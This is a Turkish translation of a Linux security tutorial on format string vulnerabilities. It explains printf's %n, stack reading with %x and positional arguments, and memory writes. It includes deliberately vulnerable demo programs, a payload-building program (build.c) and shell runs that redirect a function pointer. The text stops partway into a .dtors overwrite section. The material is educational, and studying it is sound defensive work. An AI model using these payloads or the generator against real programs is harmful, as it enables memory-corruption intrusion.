Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr to en:Frédéric
en to en:Lorne Bailey
en to tr:Erdal MUTLU
Christophe Blaess bağımsız bir aeronotic mühendisidir. Kendisi Linux hayranıdır ve ilşrerinin birçoğunu Linux altında yapmaktadır. Linux Kaynakyazılandırım Projesi (Linux Documentatiın Project) tarafından yayımlanan man sayfalarının çevirilmesini yönetmektedir.
Christophe Grenier ESIEA'da öğrenci olarak 5. yılındadır ve aynı zamanda burada sistem yöneticiliği yapmaktadır. Bilgisayar güvenliği konusunda özel merakı vardır.
Frédéric Raynal, çevreyi kirletmediği, hormon kullanılmadığı, MSG veya hayvansal malzemeler kullanılmadığı ve sadece tatlıdan oluştuğu için Linux işletim sistemini yıllardır kullanmaktadır.
Güvenlik açıklarının birçoğu kötü yapılmış yapılandırmalardan veya tembellikten dolayı ortaya çıkmaktadır. Bu yargı katarların biçimlendirilmesi için de geçerlidir.
Genellikle program içerisinde null ile sonlandırlmış katarlarların
kullanımına gereksinim vardır. Bunun program içerisindeki yeri önemli değildir.
Sorun belleğe douğrudan yapılan yazma işleminden kaynaklanmaktadır.
Saldırı, stdin
, dosyalar ve benzeri yerlerden gelebilir.
Tekbir komut yeterli olmaktadır:
printf("%s", str);
Bunun yanında programcı, altı byte ve zamandan kazanmak isteyebilir ve :
printf(str);
yazabilir. Aklında sadece "ekonomi" vardı, ancak programcı
kendi programında olası bir güvenlik açığı yaratmış olur.
Ekranda görüntülenmek üzere tek parametre kullandığı için programcı memnun.
Ancak, karakter katarı içerisinde (%d
, %g
...)
gibi biçimlendirme işaretlerine karşı incelenecektir. Eğer, böyle bir
işaret bulunursa, buna karşı gelen parametre, yığıt üzerinde aranacaktır.
İşe printf()
fonksiyonları ailesini tanıtmakla başlayacağız.
Ayrıntılı olarak olmasa da herkes en azından bu fonksiyonları tanıyor.
Biz bu fonksiyonların az bilinen yönleri ile ilgileneceğiz.
Daha sonra böyle bir hatadan yararlanmanın bilgisini de vereceğiz.
Sonunda, bütün bu anlatılanları bir örnek üzerinde göstereceğiz.
printf()
: onlar bana yalan söyledi !Hepimizin bildiği ve programlama kitaplarında yer alan C'de giriş/çıkış fonksiyonlarının birçoğu verileri biçimlendirilmiş olarak işlemektedir. Bunun anlamı, verileri işlemek için sadece verinin kendisini değil, aynı zamanda nasıl gösterileceğini de belirtmek gerekmektedir. Aşağıdaki program bu konuyu göstermektedir :
/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }Programı çalıştırdığınızda :
>>gcc display.c -o display >>./display int : 64 97 char : @ aİlk
printf()
fonksiyonu i
tamsayı
ve a
karakter değişkenlerinin değerlerini
int
olarak yazmaktadır (bu %d
biçimlendirme işareti kullanılarak yapılmıştır). Böylece,
a
'nın ASCII değeri elde edilmektedir.
Diğer taraftan, ikinci printf
fonksiyonu,
tamsayı değişkeni olan i
'nin ASCII tablosundaki
karşılığı olan 64 değerini göstermektedir.
Şimdiye kadar yeni bir şey yok. Herşey printf
ve benzeri fonksiyonlarının sahip oldukalrı tanımlamaya uygundur :
const char *format
) belirlemektedir;Genelde, biçimlendirme işaretlerinin bir listesi (%g
,
%h
, %x
ve .
sayılardaki duyarlılığı belirttiyor)
verildikten sonra bu konudaki birçok programlama
dersi burada sona ermektedir. Ama hiç konuşulmayan
birşey daha vardır : %n
.
printf()
fonksiyonunun man sayfasında bununla ilgili
şunlar yazmaktadır :
Bu ana kadar yazılan karakterlerin sayısı
int * ile belirtilen bir işaretçi tamsayı
değişkeninde saklanmaktadır. Parametre çevirilmesi yapılmamaktadır. |
Sadece bir görüntüleme fonksiyonu olmasına rağmen, bu parametre bir işaretçi değişkene yazılmasını sağlamaktadır. Makalenin en önemli kısmı budur!
Devam etmeden önce, bu biçimlendirme şekli
scanf()
ve syslog()
ailesinden olan fonksiyonlar için
de geçerli olduğunu söylemek gerekir.
Bu biçimlendirme şeklinin özelliklerini küçük örnek programlar
aracılıyla inceleyeceğiz. Örneklerden ilki olan printf1
çok basit bir kullanımı göstermektedir :
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }
İlk printf()
fonksiyonu 10 karakterden oluşan bir
katarı ekrana yazmaktadır. %n
biçimlendirme işareti sayesinde,
bu değer n
değişkenine yaziılmaktadır. Programı derleyip,
çalıştırırsak :
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10elde ederiz. Şimdi programı biraz değiştirelim. Bunun için 7.satırdaki
printf()
ifadesini aşağıdaki :
7: printf("buf=%s%n\n", buf, &n);ile değiştirelim.
Bu program çalıştırıldığında düşüncemiz doğrulanmaktadır :
n
değişkeni artık 14 (10 karakter buf
den ve
4 karakter de biçimlendirme katarından "buf=
") tür.
Demek ki %n
, biçimlendirme katarında yer alan
tüm karakterleri saymaktadır. printf2
programında
da göreceğimiz gibi, daha da fazlasını saymaktadır :
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }
snprintf()
fonksiyonun kullanılmasının nedeni,
bellek taşmalarını önlemektir. n
değişkeninin değeri 10
olmalıdır.
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100Garip değil mi ? Gerçekte,
%n
yazılması
gereken karakter
sayısını ele almaktadır. Bu örnek, boyut aşılmasından dolayı
yapılması gereken kısaltmaın gözardı edildiğini göstermektedir.
Gerçekte ne oldu? Olan şu, biçimlendirme katarı önce genişletildi, sonra boyutu kadarı alındı (kesildi) ve hedef bellek alanına kopyalandı:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
printf3
programı, printf2
programına
göre bazı farklılıklar içermektedir:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)İlk iki satır sürpriz değil. Son satır ise,
printf()
fonksiyonunun çalışma şeklini göstermektedir :
00000\0
" katarı oluşturmuştur;x
değişkeninin değerinin kopyalanması göstermektedir.
Bunun sonucunda katar, "01234\0
" şeklinde görünmektedir;sizeof buf - 1
byte2 lık kısım hedef buf
katarına kopyalanmış ve
"0123\0
" elde edilmiştir.GlibC
belgelerine, özellikle
${GLIBC_HOME}/stdio-common
dizinindeki
vfprintf()
fonksiyonuna bakabilir.
Bu bölümü bitirmeden önce, aynı sonuçları biçimlendirme
şeklini biraz değiştirerek de elde etmenin mümkün olduğunu
söylemek gerekir. Daha önce, duyarlılık ('.' nokta)
denilen biçimlendirmeden faydalanmıştık.
Benzer sonuçları : 0n
ile elde etmek mümkündür.
Buradaki, n
sayısı, katar genişliğini,
0
ise, katarın alabileceği kapasite doldurulmadıysa,
geriye kalan kısımları boşluklarla tamamlanması için konulmuştur.
Artık katar biçimlendirmeleri konusunda hemen hemen herşeyi,
özellikle de %n
konusunda, öğrendiğinize göre şimdi
bunların davranışlarını inceleyeceğiz.
printf()
Şimdiki program, printf()
fonksiyonu ile yığıt
arasındaki ilişkinin ne olduğunu öğrenmede bize rehberlik edecektir :
/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }Program, parametre ile verilen değeri
buffer
karakter dizisine kopyalamaktadır. Verilerin
bellek taşması sonucu üzerine yazılmaması
için özen göstermekteyiz (biçimlendirme katarları, bellek taimalarına
göre gerçekten daha özenlidirler).
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)Program, tam beklediğimiz gibi çalışmaktadır :) Daha ileriye gitmeden önce, 8. satırdaki
snprintf()
fonksiyonu çağırma sırasında
yığıt tarafında neler olduğuna bir bakalım.
Fig. 1 : snprintf() fonksiyonunu
çağırmadan önce yığıtın durumu. |
1 çizimi, snprintf()
fonksiyonunu çağırmadan önceki yığıtın durumunu göstermektedir
(bunun doğru olmadığını göreceğız...). Bu çizim sadece olanlar hakkında
bir fikir vermek için hazırlanmıştır. %ebp
registerin altında bir yerde bulunan %esp
registerini
dikkate almayacağız. Daha önceki makaleden hatırlanacağı üzere,
%ebp
ve %ebp+4
'de bulunan ilk değer,
sırasıyla %ebp
ve %ebp+4
'ün yedekleridir.
Daha sonra snprintf()
fonksiyonunun parametreleri
gelmektedir :
argv[1]
biçimlendirme
katarının adresi gelmektedir.tmp
karakter dizisinin verileri, 64 byte'lık buffer
ve i
tamsayı değikeni yer almaktadır.
argv[1]
katarı aynı zamanda hem biçimlendirme
ve hemde veri olarak kullanılmaktadır. snprintf()
fonksiyonunun normal sırasına göre biçimlendrime katarı yerine
argv[1]
gözükmektedir. Biçimlendirme katarını,
biçimlendirme işaretleri olmadan da kullanabileceğimize göre (sadece metin gibi)
herşey yolunda demektir :)
Peki, argv[1]
içerisinde biçimlendirme işaratleri
olduğunda acaba ne olmaktadır? Normalde, snprintf()
foksiyonu onları olduğu gibi değerlendirmektedir, başka türlü
olması için bir neden yoktur! Ancak, burada biçimlendirme için,
hangi parametrelerin veri olarak kullanılacağını merak edebiliriz.
Gerçekte snprintf()
fonksiyonu gerekli verileri,
yığıttan almaktadır! Bunun böyle olduğunu, stack
programından görebilirsiniz :
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
İlk önce "123
" katarı buffer
üzerine
kopyalanmaktadır. %x
ifadesi, ilk parametreyi çevirmesi için
snprintf()
fonksiyonundan istekte bulunmaktadır.
1 çiziminden de anlaşılacağı üzere,
ilk parametre \x01\x02\x03\x00
değerine sahip olan
tmp
değişkeninden başkası değildir. x86 işlemcimizin
küçük indian mimarisine göre bu katarın 16'lık sayı tabanına göre
değeri 0x00030201 olmaktadır.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
İkinci bir %x
eklenmesiyle, yığıt üzerinde daha da yukarıya
ulaşabiliriz. Bu snprintf()
fonksiyonuna daha sonraki 4
byte'a bakmasını söylemektedir. Gerçekte bu 4 byte buffer
değişkeninin 4 byte dır. buffer
değişkeni,
"123
" katarını içermektedir, 16'lık
sayı tabanına göre bu değer 0x20333231 (0x20=boşluk, 0x31='1'...) dir.
Dolayısıyla her %x
için, snprintf()
fonksiyonu yığıt üzerinde bulunan buffer
değişkeninin 4 byte'ına (4 byte olmasının nedeni,
x86 işlemcisi unsigned int
için 4 byte ayırmaktadır)
daha ulaşmaktadır. Bu değişken iki işlevi yerine getirmektedir:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
Parametreler arasında yerdeğiştirme gerektiği durumda
(sözgelimi tarih ve saat bilgilerini göstermek gerektiğinde)
uygun biçimlendirme ifadesini bulmak mümkündür.
Biz, %
işaretinin hemen ardına m
>0 bir tamsayı olmak üzere m$
ifadesini ekledik.
Bu bize, parametre listesinde kullanılacak değişkenin
yerini (1'den başlamak üzere) vermektedir :
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
m$
biçimlendirme ifadesi sayesinde, yığıt
üzerinde, gdb
ile yapabildiğimiz gibi
istediğimiz yere gidebiliyoruz :
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Buradaki \
karakteri, kabuk programının
$
karakterini başka türlü yorumlamasını
önlemek amacıyla konulmaktadır. İlk üç çalıştırmada,
buf
değişkeninin içeriğini elde ettik.
%4\$x
ifadesiyle, %ebp
registerında
yedeklenmiş değeri ve %5\$x
ifadesiyle,
%eip
register üzerine yedeklenmiş değeri
(dönüş adresleri) elde ettik. Son iki çalıştırmada ise,
argc
değişkeninin değerini ve *argv
de yer alan adres değerini (unutmayın ki **argv
ifadesi, *argv
'nin değerleri adresler olan
bir dizidir) elde ettik.
Bu örnekte de görüldüğü gibi, verilen biçimlendirme ifadelerine göre
yığıt üzerinde bilgi arayabilir, adresler bulabiliriz vs.
Aynı zamanda, bu makalenin başında gördük ki printf()
ailesinden olan fonksiyonlar yardımıyla buralara yzabiliriz.
Bu size de bir potansiyel güvenlik açığı olarak görünmüyor mu?
stack
programına geri dönelim:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664)Giriş katarı olarak şunları veriyoruz::
i
değişkeninin adresinini;%.496x
) biçimlendirme ifadesini;%n
) ifadesini,
verilen adrese yazmak için veriyoruz.i
değişkeninin adresini (burada 0xbffff664
)
bulabilmek için programı iki defa çalıştırabiliriz ve
komut satırındaki parametreleri de ona göre değiştirebiliriz.
Görüldüğü gibi, i
'nin yeni değeri var :)
Verilen biçimlendirme ifadesi ve yığıtın yapılandırması
snprintf()
fonksiyonun aşağıdaki gibi görünmesini sağlamaktadır :
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, katardaki 4 byte);
i
adresini içeren ilk dört byte, buffer
katarının başına yazılmaktadır. %.496x
biçimlendirme
ifadesi, yığıtın başında bulunan tmp
değişkeninden
kurtulmamızı sağlamaktadır. Ondan sonra %n
biçimlendirme ifadesi verildiğinde, artık i
değişkeninin adresi buffer
katarının başında
yer alacaktır. 496 byte'lık duyarlılığa sahip olmamız gerekirken,
snprintf fonksiyonu maksimum 60 byte yazmaktadır (çünkü,
katarın boyutu 64'tür ve 4 byte zaten yazılmıştı). 496 rakamı rastgele
oluşmuştur ve sadece "byte sayacını" ayarlamak amacıyla kullanılmaktadır.
%n
ifadesinin kendisinden önce yazılmış byte sayısını
elde etmekte kullanıldığını daha önce görmüştük. Buradan elde edilen değer
496 dır ve biz buna buffer
başında bulunan i
değişkeninin 4 byte'lık adres değerini eklememiz gerekmektedir.
Sonuçta 500 elde edilmektedir. Bu değer, yığıt üzerinde
sonraki adrese, i
değişkeninin adresine,
yazmamızı sağlayacaktır.
Bu örnekten hareketle daha da ileriye gidebiliriz. i
'yi
değiştirmek için, onun adresine sahip olmamız gerekmektedir... Ama
bazen programın kendisi bize bu bilgiyi vermektedir :
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
Bu programı çalışması, yığıtı istediğimiz (hemen hemen) gibi kullanabileceğimizi göstermektedir:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
Görüldüğü gibi, parametrenin değerine göre,
cpt1
veya cpt2
değişkeninin değerini
değiştirebiliyoruz. %n
biçimlendirme ifadesi
parametre olarak adres istemektedir, bu nedenledir ki biz
değişkenleri doğrudan (%3$n (cpt2)
veya
%4$n (cpt1)
kullanarak) değiştiremiyoruz. Bunu ancak,
işaretçiler kullanarak yapabiliyoruz. Bu da bize, üzerinden bir sürü
değişiklik yapabileceğimiz "yeni malzeme" vermektedir.
egcs-2.91.66
ve glibc-2.1.3-22
kullanarak derlenmişti. Ancak, siz
kendi bilgisayarınızda aynı sonuçları elde edemeyebilirsiniz.
*printf()
şeklindeki fonksiyonlar, glibc
göre değişmektedir ve derleyiciler aynı işlemleri yerine getirmemektedir.
stuff
programı farklılıkları ortaya çıkartmaktadır:
/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
aaa
ve bbb
dizileri, yığıt üzerindeki
gezintimiz sırasında ayraç olarak görev yapmaktadır.
Dolayısıyla, 424242
bulduğumuz anda, ondan sonra gelen
byte'lar buffer
değişkeninin bilgileri olacaktır.
1 tablosunda, glibc'nin ve derleyicilerinin
farklı sürümlerinde elde edilmiş değerleri görmekteyiz.
Tab. 1 : glibc arasındaki farklılıklar | ||
---|---|---|
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
Makalenin geri kalanında biz egcs-2.91.66
ve
glibc-2.1.3-22
kullanacağız, eğer siz kendi
bilgisayarınızda başka sonuçlar elde edersiniz, hiç şaşırmayın.
Katar taşmalarını kullanırken, dönüş değeri üzerine yazabilmek için bir katardan faydalanmıştık.
Biçimlendirme katarları durumunda ise,
her yere (yığıt, heap, bss, .dtors, ...)
gidebileceğimizi gördük, sadece nerey ve ne yazacağımıza
karar vermemiz yeterli, geriye kalan işi %n
yerine getirecektir.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
ptrf
adında ve fonksiyon işaretçisi olan bir değişken tanımladık.
Bu değişkenin değerini, çalıştırmak istediğimiz fonksiyonu gösterecek
şekilde değiştireceğiz.
İlk önce, buffer değişkenin başlangıcı ile yığıt arasındaki uzaklığı bulmamız gerekiyor :
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Programı ilk çalıştırdığımızda istediğimizi elde ediyoruz :
buffer
değikeninden bizi 3 kelime
(x86 işlemcilerinde bir kelime = 4 byte dır) ayırmaktadır.
Bunun gerçekte böyle olduğunu programı AAAA%3\$x
parametresini vererek ikinci defa çalıştırdığımızda anlıyoruz.
Amacımız, ptrf
değişkenin başlangıçta işaret
ettiği 0x8048634
(helloWorld()
fonksiyonunun
adresi) adresinden, 0x8048654
(accessForbidden()
fonksiyonunun adresi) adresini
gösterecek şekilde değiştirmektir.
Bunun için 0x8048654
byte (16'lık tabana göre, bu yaklaşık 128 MB dır),
yazmamız gerekecektir. Tüm bilgisayarlar bu kadar belleğe sahip olmayabilirler,
ama bizim bilgisayarda bu kadar bellek var:) 350 MHz'lik iki işlemcili
Pentium olan bilgisayarımızda bu işlem 20 saniye sürdü :
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Biz ne yaptık? Yaptığımız şey sadece
ptrf (0xbffff5d4)
adresini sağlamak oldu.
Sonraki biçimlendirme ifadesi (%.134514256x
)
yığıt üzerindeki 134514256 byte ötede bulunan ilk kelimeyi
(ptrf
değişkenininden itibaren 4 byte zaten yazmıştık,
dolayısıyla geriye 134514260-4=134514256
byte kalıyor)
okumaktadır. Sonunda, istediğimiz değeri, verilmiş olan adrese (%3$n
)
yazmış olduk.
Ancak, daha önce de söylediğimiz gibi, 128 MB'lık bellek kullanmak
herzaman mümkün değildir. %n
biçimlendirme ifadesinin,
4 byte'lık bir tamsayı değişkenini gösterecek bir işaretçiye ihtiyacı vardır.
%hn
biçimlendirme ifadesi sayesinde bunu,
short int
- 2 byte'lık bir işaretçi kullanacak şekilde
değiştirebiliyoruz. Dolayısıyla yazmak istediğimiz tam sayı
değerini iki bölüme ayırmış oluyoruz. Yazılabilecek en büyük kısım
artık, 0xffff
byte'a (65535 byte) sığmaktadır.
Böylece, önceki örnekte yer alan "0xbffff5d4
adresi üzerine
0x8048654
" yazma işlemini, iki ardışık işlem haline getiriyoruz :
0x8654
değerini 0xbffff5d4
adresine yazmak0x0804
değerini 0xbffff5d4+2=0xbffff5d6
adresine yazmakAncak, %n
(veya %hn
) ifadesi,
katar üzerine yazılan toplam karakter sayısını saymaktadır.
Bu sayı sadece artabilmektedir. İlk önce, ikisi arasındaki en küçük
değeri yazmamız gerekir. Ondan sonra, ikinci biçimlendirme
ifadesi, duyarlılık olarak yazılan ilk sayı ile gerekli sayı
arasındaki farkı kullanacaktır. Sözgelimi, bizim örnekte,
ilk biçimlendirme işlemi %.2052x
(2052 = 0x0804)
ve ikincisi %.32336x
(32336 = 0x8654 - 0x0804)
olmalıdır. Hemen arkadan yazılan her %hn
ifadesi,
byte sayısını doğru olarak hesaplayacaktır.
Bizim sadece %hn
ifadelerini nereye yazacağımızı
belirlememiz gerekecektir. Bunun için, m$
ifadesi
bize yardımcı olacaktır. Eğer, adresleri katarın başına kaydedersek,
m$
ifadesinin yardımıyla yığıt üzerinde hareket ederek,
gerekli uzaklığı bulabiliriz. Ondan sonra iki adres de
m
ve m+1
uzaklıkta olacaktır.
Katarın ilk 8 byte'ına üzerine yazılacak adres değerini
kaydettiğimiz için, ilk yazılan değerden 8 çıkartmak gerekecektir.
Biçimlendirme katarı aşağıdaki gibi olamaktadır:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
val. min.]x%[offset+1]$hn"
Biçimlendirme katarını oluşturmak için, build
programı
üç parametre kullanmaktadır:
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** Yazılacak 4 byte şu şekilde yerleştirilmektedir : HH HH LL LL "*h" ile biten değişkenler kelimenin üst kısmını göstermektedir (H). "*l" ile biten değişkenler kelimenin alt kısmını göstermektedir (L). */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* doğru değeri bulabilmek için oldukça tembel... :*/ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* değeri ayrıntılandırma */ valh = (value >> 16) & 0xffff; //üst vall = value & 0xffff; //alt fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* katar için bellek ayırımı */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* şimdi oluşturalım */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* üst adres */ "%c%c%c%c" /* alt adres */ "%%.%hdx" /* ilk %hn için değeri yerleştirme*/ "%%%d$hn" /* %hn üst kısım için */ "%%.%hdx" /* ikinci %hn için değeri yerleştirme */ "%%%d$hn" /* %hn alt kısım için */ , b3+2, b2, b1, b0, /* üst adres */ b3, b2, b1, b0, /* alt adres */ valh-8, /* ilk %hn için değeri yerleştirme */ where, /* %hn üst kısım için */ vall-valh, /* ikinci %hn için değeri yerleştirme */ where+1 /* %hn alt kısım için */ ); } else { snprintf(buf, length, "%c%c%c%c" /* üst adres */ "%c%c%c%c" /* alt adres */ "%%.%hdx" /* ilk %hn için değeri yerleştirme */ "%%%d$hn" /* %hn üst kısım için */ "%%.%hdx" /* ikinci %hn için değeri yerleştirme */ "%%%d$hn" /* %hn alt kısım için */ , b3+2, b2, b1, b0, /* üst adres */ b3, b2, b1, b0, /* alt adres */ vall-8, /* ilk %hn için değeri yerleştirme */ where+1, /* %hn üst kısım için */ valh-vall, /* ikinci %hn için değeri yerleştirme */ where /* %hn alt kısım için */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
Yazılacak değerin kelimenin üst veya alt tarafına yazılmasına göre parametrelerin yeri değişmektedir. Herhangi bellek sorunu yaşamadan önce yaptığımız bir deneyelim.
Basit örneğimiz bize, ilk önce uzaklığın tahmin edilmesinde yardımcı olmaktadır:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Değer herzaman aynı : 3. Programı olanları göstermesi için yazdığımıza göre
ptrf
ve accesForbidden()
için gerekli
olan bilgilere sahip oluyoruz. Katarımızı buna göre oluşturabiliriz:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Hiç birşey olmadı! Ancak, önceki örneğimize göre daha uzun katar kullandığımızdan dolayı yığıt değişti (
ptrf
, 0xbffff5d4
den
0xbffff5b4
gitti). Dolayısıyla değerleri ayarlamamız gerekmektedir:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Biz kazandık!!!
Biçimlendirme hataları sayesinde istediğimiz yere yazmamızın mümkün olduğun
görmüştük. Şimdi, .dtors
bölümü ile ilgili bir kullanım göreceğiz.
gcc
ile derlenen programlarda .ctors
adında bir yaratma ve bir de .dtors
adında yoketme
bölümü yaratılmaktadır. Her iki bölümde de sırasıyla main()
fonksiyonuna girişte ve çıkışta çalıştırılacak fonksiyonlar
için işaretçiler bulunmaktadır.
/* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); }Basit bir örnek programla işleyişin nasıl olduğunu görebilmekteyiz:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Bu iki bölümün herbiri aynı şekilde oluşturulmuştur:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 .ctors bölümünün içeriği: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 .dtors bölümünün içeriği: 80494a8 ffffffff f0830408 00000000 ............Gösterilen adreslerin bizim fonksiyonların adreslerine karşılık geldiğini kontrol ettik (dikkat :
objdump
komutu adres değerlerini küçük indian formatında vermektedir):
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endDolayısıyla, bu bölümler
0xffffffff
ve
0x00000000
ile sınırlandırılan bölgede başta veya sonunda
